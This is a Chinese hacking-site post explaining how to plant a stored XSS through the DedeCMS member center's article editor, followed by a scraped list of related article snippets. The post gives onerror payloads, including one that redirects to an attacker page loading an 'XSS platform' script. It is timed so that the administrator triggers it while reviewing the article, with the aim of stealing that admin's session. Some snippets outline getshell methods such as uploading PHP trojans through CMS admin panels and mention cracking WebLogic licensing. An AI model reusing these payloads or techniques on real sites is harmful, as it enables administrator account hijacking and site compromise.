dedecms会员中心存储型xss可射管理员 -中国寒龙- WWW.HACKERSCHINA.ORG

这个xss需要开启会员模块（想想光整出来的时候，意气风发的去看dede官网……）
xss的位置为会员中心发布文章的地方dedecms会员中心存储型xss可射管理员 -中国寒龙- WWW.HACKERSCHINA.ORG_第1张图片然后选择文章->发表dedecms会员中心存储型xss可射管理员 -中国寒龙- WWW.HACKERSCHINA.ORG_第2张图片之后在详细内容中插入代码dedecms会员中心存储型xss可射管理员 -中国寒龙- WWW.HACKERSCHINA.ORG_第3张图片

<img src="1" onerror="alert(1)">
然后查看文章即可
可能到这有人会问，尼玛说好的打管理员呢？
别着急……
因为xss代码只能放在onerror等里面，然后我一直没找到办法获得cookie，然后就翻js手册
翻着翻着有了想法……
插入如下代码：
<img src="1" onerror="javascript:self.location=''http://127.0.0.1/1.html''">
其中1.html里面带上你的xss平台的那个调用就行了（这尼玛还是没有打管理啊！）

文章发表之后，默认是没有经过审核的，也就是说默认是只能自己查看的
但是管理员肯定要进行审核的呀
然后……dedecms会员中心存储型xss可射管理员 -中国寒龙- WWW.HACKERSCHINA.ORG_第4张图片

传

下载附件 (35.15 KB)

 

当管理员查看的时候dedecms会员中心存储型xss可射管理员 -中国寒龙- WWW.HACKERSCHINA.ORG_第5张图片


www.hackerschina.org

你可能感兴趣的:(dedecms)

  • python 漏洞扫描器_自动扫描全网漏洞的扫描器 weixin_39649736 python漏洞扫描器
    “因为我相信你以后一定会成为很厉害的人呀”设计初衷早在17年11月份的时候就有这个想法，可是一直没有去做，后来快到除夕前几天才正式开始整个软件工程的设计。当时的想实现的功能比较简单，就是能做到无限采集到网站使用的CMS，比如www。xx。com使用的是DEDECMS,那么我就把www。xx。com|dedecms这样的数据存到数据库里面，如果下次dedecms爆出新的漏洞后，我能在第一时间内发现哪
  • 国内好用的五款开源建站系统 程序o07
    推荐5款优秀的开源建站系统，都有免费版本，有需要可以去试试。蝉知蝉知系统是一款开源的的企业营销自助建站系统。它专为企业营销设计，伪静态网址、关键词、语义化结构，内置流量统计。蝉知功能全面，文章发布、会员管理、论坛评论、产品展示等，并内置商城系统，商品、订单、物流、支付功能完备。除了免费版还有更加专业的企业版和适合建站公司的站群版。DEDECMSDedeCms是国内知名的PHP开源网站管理系统，基于
  • 织梦DEDECMS系统批量替换文章标题和内容方法集绵 一噗哒
    织梦文章内容和标题批量替换在使用织梦CMS系统时候，尤其是那些用于中小型企业站或者医疗的时候，需要临时更改全站文章的标题和内容，甚至摘要，是很需要一个批量替换的功能，然而织梦后台是没有一个直观的替换功能，因为织梦的后台交互性真心不行，有些小白可能会选择手工替换，是一个很不明智吐血的操作方法。这边给大家提供两种比较便捷的操作方式：数据库内容替换法和SQL命令替换法。数据库内容替换法步骤一织梦CMS后
  • 43 漏洞发现-WEB应用之漏洞探针类型利用修复 山兔1 小迪安全前端
    目录已知CMS开发框架末知CMS演示案例:开发框架类源码渗透测试报告-资讯-thinkphp开发框架类源码渗透测试-咨讯-spring已知CMS非框架类渗透测试报告-工具脚本-wordpress已知CMS非框架类渗透测试报告-代码审计-qqyewu_php未知CMS非框架类渗透测试报告-人工-你我都爱的wg哦~已知CMS如常见的dedecms.discuz，wordpress等源码结构，它们都有一
  • cms中getshell的各种姿势 久恙502 数据库服务器linux
    cms中getshell的各种姿势wordpress----getshell这里wordpress后台，外观，主题，编辑，修改其中的404模版，保存后就可拿到shell直接访问，就可以成功连接另外，在主题中，可以上传需要的是压缩包，那么就可以直接将后门传上去，连接，getshelldedecms在网站后台中存在任意文件上传上传完php木马，直接连接，getshell另外，在广告管理中也存在写入木马
  • csrf漏洞之DedeCMS靶场漏洞（超详细） 爱喝水的泡泡 csrf安全web安全
    1.Csrf漏洞：第一步，查找插入点，我选择了网站栏目管理的先秦两汉作为插入点第二步修改栏目名称第三步用burp拦截包第四步生成php脚本代码第五步点击submit第六步提交显示修改成功第二个csrf步骤与上述类似红色边框里面的数字会随着刷新而变化，由此可知存在token因此不能使用csrf注入其他的csrf注入点类似，不一一赘述2.xss漏洞第一个xss漏洞，存在于附件数据管理--->第二个漏洞
  • dedecms模板中的使用loop读取文章前数字序号 小梦唠娱乐
    织梦dedecms模板中的使用loop读取文章前数字序号，dede:loop标签下使用[field:globalname=autoindex/]方法。用dede:loop标签调用论坛贴子时，用[field:globalname=autoindex/]递增，如,,,,等。要修改一个文件。includetaglibloop.lib.php1.找到https://www.xiaoyuani.com/$c
  • CentOS7下的LNMP环境搭建Dedecms网站 zwb_jianshu
    搭建Dedecms网站的前置条件：LNMP环境（如果没有搭建LNMP环境可以参考我之前的搭建LNMP环境的文章）https://blog.51cto.com/zero01/2046819CentOS7.3Dedecms压缩包检查LNMP环境中各服务是否已经启动并且进程正常1.检查Nginx服务的进程是否已启动和是否有监听80端口：psaux|grepnginxnetstat-lntp|grepng
  • DedeCMS V5.7存在任意文件删除漏洞 运维Z叔 技术干货漏洞删除服务器
    本文由掌控安全学院-nocircle投稿DedeCMSV5.7存在任意文件删除漏洞DedeCMSV5.7.104存在任意文件删除漏洞位置:/dede/album_add.php第237行-第250行代码分析:$albumUploadFiles数据不为空进入if循环Stripslashes删除反斜杠并且将albumUploadFiles的内容json格式循环files数组内容DEDEDATA是一个常
  • 织梦系统的企业网站被攻击 总是被篡改index.html的解决办法 2080d3547106
    怎样才能搞好网站安全防护的工作今天这篇文章本应该在csdn、天天快报、天涯论坛等大网站手机用户数据信息被泄漏时就应该写的，可那时候确实都没有写网站安全防护层面文章内容的推动力，许多自媒体都是在讨论网络信息安全层面的事儿，许多文章内容以至于有千篇一律的一小部分，一直到上星期我的好多个公司网站连续不断被黑客入侵，网站安全防护的工作才真真正正引发了我的注重。当中2个用dedecms做的公司网站，公司网站
  • dedecms织梦转免费CMS操作步骤（转PageAdmin，帝国CMS、PHPCMS、JTBC、PHPCMS、wordpress) HENRYLUKCY cmsphp
    dedecms织梦开始正式收费，授权5800元，对于草根站长来说真是太高了，最好的办法是转成免费开源的CMS，下面一些经验之谈，dedecms织梦转PageAdmin，帝国CMS、PHPCMS、JTBC、PHPCMS、wordpress都是通用的操作步骤：1.首先我们先给现有的织梦CMS网站做个完整备份，网站程序+数据库备份。2.新CMS程序创建（以帝国为例）3.创建栏目对应dede栏目（防止出现
  • dedecms安全设置 妖妖说
    一、基础篇（60分）只要完成基础篇的设置，那么恭喜你，你的织梦安全已经及格了，相反，如果你没有按照基础篇的做，那么你的网站岌岌可危。1删除不必要的目录安装好织梦后，需要立即删除install目录，如果不需要使用会员、专题（99%的用户都用不到），可以直接删除member、special目录。2删除不必要的文件plus文件建议只保留如下文件：ad_js.php，count.php，list.php，
  • dedecms v5.8 未授权RCE 漏洞 白昼小丑 网络渗透安全漏洞网络安全安全
    在这篇博文中，我将分享对Dedecms（或翻译成英文的“ChasingaDream”CMS）的技术评论，包括它的攻击面以及它与其他应用程序的不同之处。最后，我将结束一个影响v5.8.1预发布的预认证远程代码执行漏洞。这是一款有趣的软件，因为它自最初发布以来已有14年的历史，而且PHP多年来发生了很大变化。对于网上搜索“什么是中国最大的CMS”很快发现，多源的状态是DEDECMS是最流行的。然而，这
  • dedecms调用二级域名图片不显示(可能遇到跨域问题)解决 这真的是一个帅气的名字
    找到include的文件extend.func.phpfunctionreplaceurl($newurl){$newurl=str_replace('src="/uploads/','src="'.$GLOBALS['cfg_basehost'].'/uploads/',$newurl);return$newurl;}然后在详情页调用时候标签{dede:field.body/}修改成{dede:
  • 织梦dedecms无缩略图不显示或者显示指定的默认图 AB模板网
    织梦dedecms无缩略图不显示或者显示指定的默认图、这里分别以三种情况来阐述dedecms无缩略图不显示织梦实现方法：1、织梦dedecms无缩略图不显示{dede:field.litpicrunphp="yes"}@me=(strpos(@me,'defaultpic')?"":"");{/dede:field.litpic}2、dedecms列表无缩略图不显示，有缩略图显示带链接的缩略图[f
  • dedecms5.7文章摘要调用 阿修哥
    {dede:field.descriptionrunphp='yes'}if(@me<>'')@me=''.@me.'';{/dede:field.description}方法2{dede:arclistrow='1'titlelen='28'idlist=''typeid='3'}[field:description/]...{/dede:arclist}的class为描述部分的。
  • 建网站的选择 Di_mple
    1、自己用网上的开源程序来做这个是比较多选择的建站方式，每个类型的站点都有对应的开源程序选择，比如企业站更多人选择用dedecms，当然dede还可以做博客，做资讯站等等，wordpress，z-blog等等多被用在博客站上ecshop可以用来做商城网站，discuz可以用来做论坛，好多~~基本你想做的网站类型都可以找到一个适合的开源程序来做！所以先看下自己想做什么网站，然后找到对应程序，如果懂d
  • 信息收集 - 网站敏感信息 狗蛋的博客之旅 Web安全渗透web安全安全
    CMS指纹信息：CMS(内容管理系统)又称为整站系统或文章系统，用于网站内容管理。用户只需要下载对应的CMS软件包，就能部署搭建，并直接利用CMS。但是各种CMS都具有其独特的结构命名规则和特定的文件内容，因此可以利用这些内容来获取CMS站点的具体软件CMS与版本。通过识别CMS指纹信息，可以帮助判断目标网站所使用的具体CMS。常见的CMS包括Discuz、Dedecms(织梦)、PhpCMS、W
  • 【漏洞复现】Dedecms信息泄露漏洞(CVE-2018-6910) 晚风不及你ღ 漏洞复现web安全
    Dedecms-cve-2018-6910信息泄露漏洞漏洞详情DesdevDedeCMS（织梦内容管理系统）是中国卓卓网络（Desdev）科技有限公司的一套开源的集内容发布、编辑、管理检索等于一体的PHP网站内容管理系统（CMS）。DesdevDedeCMS5.7版本中存在信息泄露漏洞。远程攻击者可通过对include/downmix.inc.php或inc/inc_archives_functi
  • 【漏洞复现】Dedecms信息泄露漏洞(CVE-2018-6910) 晚风不及你ღ 【漏洞复现】web安全
    Nx01产品简介DesdevDedeCMS（织梦内容管理系统）是中国卓卓网络（Desdev）科技有限公司的一套开源的集内容发布、编辑、管理检索等于一体的PHP网站内容管理系统（CMS）。Nx02漏洞描述DesdevDedeCMS5.7版本中存在信息泄露漏洞。攻击者可通过对include/downmix.inc.php或inc/inc_archives_functions.php文件发送接请求利用该
  • 织梦DEDECMS”点击加载更多””无限下拉”Infinite Ajax Scroll插件,支持动静态,支持图片延迟加载 一片云天
    织梦DEDECMS”点击加载更多“”无限下拉“InfiniteAjaxScroll插件,支持动静态,支持图片延迟加载，InfiniteAjaxScroll简称ias，无限的ajax滚动，是一款jQuery滚动ajax分页插件，当页面滚动到容器可见部分将自动异步加载数据。点击加载更多效果无限下拉效果使用方法：一、页面中引用jquery.js与jquery-ias.min.js，注意：jquery.j
  • 【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933 黑色地带(崛起) 0X06【漏洞复现】web安全
    前言：介绍：博主：网络安全领域狂热爱好者（承诺在CSDN永久无偿分享文章）。殊荣：CSDN网络安全领域优质创作者，2022年双十一业务安全保卫战-某厂第一名，某厂特邀数字业务安全研究员，edusrc高白帽，vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。擅长：对于技术、工具、漏洞原理、黑产打击的研究。C站缘：C站的前辈，引领我度过了一个又一个技术的瓶颈期、迷茫期
  • 8款唯美简洁个人博客静态页面模板分享 bokequ HTML5html5前端前端框架css
    适合做个人博客网站的8套静态页面模板,非常不错哦。简洁清爽个人博客网站模板html源码特别适合女生们。因为是静态页面模板，没有网站后台、仅供浏览。下载解压上传到你的网站空间根目录就可以浏览了。如要用这些模板建站可用dedecms、帝国cms、wordpress等开源程序建立你喜欢内容的网站。1、终于等到你个人博客模板--采用Html5+css3设计。适用于个人分享、个人日记、爱情、心情日记等内容。
  • 织梦安装，访问http://域名/install/index.php 出现空白页或Not Found 问题 A五花肉~ php
    织梦安装，访问http://域名/install/index.php出现空白页或NotFound问题织梦DEDECMS原因解决方案联系织梦DEDECMS小编已经安装了织梦的模板了但是还想在安装一个织梦的模板当我安装第二个模板的时候依旧访问http://域名/install/index.php的时候居然出现了空白页有时候还会显示NotFound找不到URl的文件原因当你安装第一个cms的模板时系统会
  • dedecms标签 永远的WEB小白 dedecms
    【Arclist标记】这个标记是DedeCms最常用的一个标记，也叫自由列表标记，其中hotart、coolart、likeart、artlist、imglist、imginfolist、specart、autolist这些标记都是由这个标记所定义的不同属性延伸出来的别名标记。功能说明：获取指定的文档列表适用范围：封面模板、列表模板、文档模板基本语法：{dede:arclisttypeid=''r
  • DedeCms后台文章列表文档id吗？或者快速定位id编辑文章 永远的WEB小白 织梦dedecms
    我们在建站时有的时候发现之前的文章有错误了，要进行修改，但又不知道文章名，只知道大概的文章id，那么可以搜索到DedeCms后台文章列表文档id吗？或者快速定位文章id方便修改？第一种方法：复制下面的链接地址，直接修改文章id（aid=1183这个数字），就进入文章编辑页面了http://www.*.com/dede/archives_do.php?aid=1183&dopost=editArch
  • DedeCMS数据迁移与编程指南 YOLO_CODE oracle数据库编程
    数据迁移是在网站开发和维护中经常遇到的任务之一。对于使用DedeCMS建立的网站，当需要将数据从一个环境迁移到另一个环境时，我们可以采取一些编程方法来完成这一任务。本文将介绍如何实现DedeCMS数据迁移，并提供相应的源代码示例。准备工作在开始之前，我们需要确保以下几个步骤已完成：安装DedeCMS：确保在目标环境中正确安装了DedeCMS。创建数据库：在目标环境中创建一个新的数据库，用于存储迁移
  • 解决火车头无法采集的问题 coding远方 php开发语言编程
    在进行编程时，有时我们可能会遇到火车头无法采集的问题。火车头是指DedeCMS系统中的采集工具，用于从其他网站上抓取内容并导入到自己的网站中。如果火车头无法正常工作，可能会导致数据无法采集或采集结果不准确。下面将介绍如何解决这个问题。检查采集规则首先，我们需要检查火车头的采集规则。确保采集规则的设置是正确的，包括采集的目标网站、采集的内容和规则匹配等。可以通过登录DedeCMS后台，进入火车头采集
  • 2020年Centos服务器宝塔面板搭建织梦dedecms网站学习教程 90后爱学习
    准备东西和软件备案域名1个（备案在哪就选择哪家服务商否则需要接入备案）阿里云或者腾讯云放服务器一台（商业使用2u4g起步）Dedecms源码一份宝塔面板账号一个首先要去服务商那边阿里云或者腾讯云购买一个云服务器阿里云优惠服务器https://www.aliyun.com/minisite/goods?userCode=eu0yupbi腾讯云秒杀服务器https://url.cn/5zyFk9a你的
  • centos7 服务器基本的安全设置步骤 天咋哭了
    关闭ping扫描，虽然没什么卵用先切换到rootecho1>/proc/sys/net/ipv4/icmp_echo_ignore_all1代表关闭0代表开启用iptablesiptables-IINPUT-picmp-jDROP简单介绍下基本的dedecms_aq/'target='_blank'>安全设置一、创建普通用户，禁止root登录，只允许普通用户使用su命令切换到root这样做的好处是
  • Spring4.1新特性——Spring MVC增强 jinnianshilongnian spring 4.1
    目录 Spring4.1新特性——综述 Spring4.1新特性——Spring核心部分及其他 Spring4.1新特性——Spring缓存框架增强 Spring4.1新特性——异步调用和事件机制的异常处理 Spring4.1新特性——数据库集成测试脚本初始化 Spring4.1新特性——Spring MVC增强 Spring4.1新特性——页面自动化测试框架Spring MVC T
  • mysql 性能查询优化 annan211 javasql优化mysql应用服务器
    1 时间到底花在哪了？ mysql在执行查询的时候需要执行一系列的子任务，这些子任务包含了整个查询周期最重要的阶段，这其中包含了大量为了 检索数据列到存储引擎的调用以及调用后的数据处理，包括排序、分组等。在完成这些任务的时候，查询需要在不同的地方 花费时间，包括网络、cpu计算、生成统计信息和执行计划、锁等待等。尤其是向底层存储引擎检索数据的调用操作。这些调用需要在内存操
  • windows系统配置 cherishLC windows
    删除Hiberfil.sys ：使用命令powercfg -h off 关闭休眠功能即可： http://jingyan.baidu.com/article/f3ad7d0fc0992e09c2345b51.html 类似的还有pagefile.sys msconfig 配置启动项 shutdown 定时关机 ipconfig 查看网络配置 ipconfig /flushdns
  • 人体的排毒时间 Array_06 工作
    ======================== ||  人体的排毒时间是什么时候？|| ======================== 转载于： http://zhidao.baidu.com/link?url=ibaGlicVslAQhVdWWVevU4TMjhiKaNBWCpZ1NS6igCQ78EkNJZFsEjCjl3T5EdXU9SaPg04bh8MbY1bR
  • ZooKeeper cugfy zookeeper
    Zookeeper是一个高性能，分布式的，开源分布式应用协调服务。它提供了简单原始的功能，分布式应用可以基于它实现更高级的服务，比如同步， 配置管理，集群管理，名空间。它被设计为易于编程，使用文件系统目录树作为数据模型。服务端跑在java上，提供java和C的客户端API。 Zookeeper是Google的Chubby一个开源的实现，是高有效和可靠的协同工作系统，Zookeeper能够用来lea
  • 网络爬虫的乱码处理 随意而生 爬虫网络
    下边简单总结下关于网络爬虫的乱码处理。注意，这里不仅是中文乱码，还包括一些如日文、韩文 、俄文、藏文之类的乱码处理，因为他们的解决方式 是一致的，故在此统一说明。     网络爬虫，有两种选择，一是选择nutch、hetriex，二是自写爬虫，两者在处理乱码时，原理是一致的，但前者处理乱码时，要看懂源码后进行修改才可以，所以要废劲一些；而后者更自由方便，可以在编码处理
  • Xcode常用快捷键 张亚雄 xcode
    一、总结的常用命令：     隐藏xcode command+h     退出xcode command+q     关闭窗口 command+w     关闭所有窗口 command+option+w     关闭当前
  • mongoDB索引操作 adminjun mongodb索引
    一、索引基础：    MongoDB的索引几乎与传统的关系型数据库一模一样，这其中也包括一些基本的优化技巧。下面是创建索引的命令：    > db.test.ensureIndex({"username":1})    可以通过下面的名称查看索引是否已经成功建立： &nbs
  • 成都软件园实习那些话 aijuans 成都 软件园 实习
    无聊之中，翻了一下日志，发现上一篇经历是很久以前的事了，悔过~~ 　　断断续续离开了学校快一年了，习惯了那里一天天的幼稚、成长的环境，到这里有点与世隔绝的感觉。不过还好，那是刚到这里时的想法，现在感觉在这挺好，不管怎么样，最要感谢的还是老师能给这么好的一次催化成长的机会，在这里确实看到了好多好多能想到或想不到的东西。 　　都说在外面和学校相比最明显的差距就是与人相处比较困难，因为在外面每个人都
  • Linux下FTP服务器安装及配置 ayaoxinchao linuxFTP服务器vsftp
    检测是否安装了FTP [root@localhost ~]# rpm -q vsftpd 如果未安装：package vsftpd is not installed  安装了则显示：vsftpd-2.0.5-28.el5累死的版本信息   安装FTP 运行yum install vsftpd命令，如[root@localhost ~]# yum install vsf
  • 使用mongo-java-driver获取文档id和查找文档 BigBird2012 driver
    注：本文所有代码都使用的mongo-java-driver实现。   在MongoDB中，一个集合（collection）在概念上就类似我们SQL数据库中的表（Table），这个集合包含了一系列文档（document）。一个DBObject对象表示我们想添加到集合（collection）中的一个文档（document），MongoDB会自动为我们创建的每个文档添加一个id，这个id在
  • JSONObject以及json串 bijian1013 jsonJSONObject
    一.JAR包简介     要使程序可以运行必须引入JSON-lib包，JSON-lib包同时依赖于以下的JAR包：     1.commons-lang-2.0.jar     2.commons-beanutils-1.7.0.jar     3.commons-collections-3.1.jar &n
  • [Zookeeper学习笔记之三]Zookeeper实例创建和会话建立的异步特性 bit1129 zookeeper
    为了说明问题，看个简单的代码，   import org.apache.zookeeper.*; import java.io.IOException; import java.util.concurrent.CountDownLatch; import java.util.concurrent.ThreadLocal
  • 【Scala十二】Scala核心六：Trait bit1129 scala
    Traits are a fundamental unit of code reuse in Scala. A trait encapsulates method and field definitions, which can then be reused by mixing them into classes. Unlike class inheritance, in which each c
  • weblogic version 10.3破解 ronin47 weblogic
    版本：WebLogic Server 10.3 说明：%DOMAIN_HOME%：指WebLogic Server 域(Domain）目录 例如我的做测试的域的根目录 DOMAIN_HOME=D:/Weblogic/Middleware/user_projects/domains/base_domain 1.为了保证操作安全，备份%DOMAIN_HOME%/security/Defa
  • 求第n个斐波那契数 BrokenDreams
            今天看到群友发的一个问题：写一个小程序打印第n个斐波那契数。         自己试了下，搞了好久。。。基础要加强了。           &nbs
  • 读《研磨设计模式》-代码笔记-访问者模式-Visitor bylijinnan java设计模式
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ import java.util.ArrayList; import java.util.List; interface IVisitor { //第二次分派，Visitor调用Element void visitConcret
  • MatConvNet的excise 3改为网络配置文件形式 cherishLC matlab
    MatConvNet为vlFeat作者写的matlab下的卷积神经网络工具包，可以使用GPU。 主页： http://www.vlfeat.org/matconvnet/ 教程： http://www.robots.ox.ac.uk/~vgg/practicals/cnn/index.html 注意：需要下载新版的MatConvNet替换掉教程中工具包中的matconvnet： http
  • ZK Timeout再讨论 chenchao051 zookeepertimeouthbase
    http://crazyjvm.iteye.com/blog/1693757 文中提到相关超时问题，但是又出现了一个问题，我把min和max都设置成了180000，但是仍然出现了以下的异常信息： Client session timed out, have not heard from server in 154339ms for sessionid 0x13a3f7732340003
  • CASE WHEN 用法介绍 daizj sqlgroup bycase when
    CASE WHEN 用法介绍 1. CASE WHEN 表达式有两种形式 --简单Case函数  CASE sex  WHEN '1' THEN '男'  WHEN '2' THEN '女'  ELSE '其他' END  --Case搜索函数  CASE WHEN sex = '1' THEN
  • PHP技巧汇总:提高PHP性能的53个技巧 dcj3sjt126com PHP
    PHP技巧汇总:提高PHP性能的53个技巧　　用单引号代替双引号来包含字符串，这样做会更快一些。因为PHP会在双引号包围的字符串中搜寻变量，　　单引号则不会，注意：只有echo能这么做，它是一种可以把多个字符串当作参数的函数译注：　　PHP手册中说echo是语言结构，不是真正的函数，故把函数加上了双引号)。　　1、如果能将类的方法定义成static，就尽量定义成static，它的速度会提升将近4倍
  • Yii框架中CGridView的使用方法以及详细示例 dcj3sjt126com yii
    CGridView显示一个数据项的列表中的一个表。 表中的每一行代表一个数据项的数据,和一个列通常代表一个属性的物品(一些列可能对应于复杂的表达式的属性或静态文本)。　　CGridView既支持排序和分页的数据项。排序和分页可以在AJAX模式或正常的页面请求。使用CGridView的一个好处是,当用户浏览器禁用JavaScript,排序和分页自动退化普通页面请求和仍然正常运行。 实例代码如下：
  • Maven项目打包成可执行Jar文件 dyy_gusi assembly
    Maven项目打包成可执行Jar文件 在使用Maven完成项目以后，如果是需要打包成可执行的Jar文件，我们通过eclipse的导出很麻烦，还得指定入口文件的位置，还得说明依赖的jar包，既然都使用Maven了，很重要的一个目的就是让这些繁琐的操作简单。我们可以通过插件完成这项工作，使用assembly插件。具体使用方式如下： 1、在项目中加入插件的依赖： <plugin>
  • php常见错误 geeksun PHP
    1.  kevent() reported that connect() failed (61: Connection refused) while connecting to upstream, client: 127.0.0.1, server: localhost, request: "GET / HTTP/1.1", upstream: "fastc
  • 修改linux的用户名 hongtoushizi linuxchange password
    Change Linux Username 更改Linux用户名，需要修改4个系统的文件： /etc/passwd /etc/shadow /etc/group /etc/gshadow 古老/传统的方法是使用vi去直接修改，但是这有安全隐患（具体可自己搜一下），所以后来改成使用这些命令去代替： vipw vipw -s vigr vigr -s   具体的操作顺
  • 第五章 常用Lua开发库1-redis、mysql、http客户端 jinnianshilongnian nginxlua
    对于开发来说需要有好的生态开发库来辅助我们快速开发，而Lua中也有大多数我们需要的第三方开发库如Redis、Memcached、Mysql、Http客户端、JSON、模板引擎等。 一些常见的Lua库可以在github上搜索，https://github.com/search?utf8=%E2%9C%93&q=lua+resty。   Redis客户端 lua-resty-r
  • zkClient 监控机制实现 liyonghui160com zkClient 监控机制实现
             直接使用zk的api实现业务功能比较繁琐。因为要处理session loss，session expire等异常，在发生这些异常后进行重连。又因为ZK的watcher是一次性的，如果要基于wather实现发布/订阅模式，还要自己包装一下，将一次性订阅包装成持久订阅。另外如果要使用抽象级别更高的功能，比如分布式锁，leader选举
  • 在Mysql 众多表中查找一个表名或者字段名的 SQL 语句 pda158 mysql
    在Mysql 众多表中查找一个表名或者字段名的 SQL 语句： 　　方法一：SELECT table_name, column_name from information_schema.columns WHERE column_name LIKE 'Name'; 　　方法二：SELECT column_name from information_schema.colum
  • 程序员对英语的依赖 Smile.zeng 英语程序猿
    1、程序员最基本的技能，至少要能写得出代码，当我们还在为建立类的时候思考用什么单词发牢骚的时候，英语与别人的差距就直接表现出来咯。 2、程序员最起码能认识开发工具里的英语单词，不然怎么知道使用这些开发工具。 3、进阶一点，就是能读懂别人的代码，有利于我们学习人家的思路和技术。 4、写的程序至少能有一定的可读性，至少要人别人能懂吧... 以上一些问题，充分说明了英语对程序猿的重要性。骚年
  • Oracle学习笔记(8) 使用PLSQL编写触发器 vipbooks oraclesql编程活动Access
        时间过得真快啊，转眼就到了Oracle学习笔记的最后个章节了，通过前面七章的学习大家应该对Oracle编程有了一定了了解了吧，这东东如果一段时间不用很快就会忘记了，所以我会把自己学习过的东西做好详细的笔记，用到的时候可以随时查找，马上上手！希望这些笔记能对大家有些帮助！     这是第八章的学习笔记，学习完第七章的子程序和包之后
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他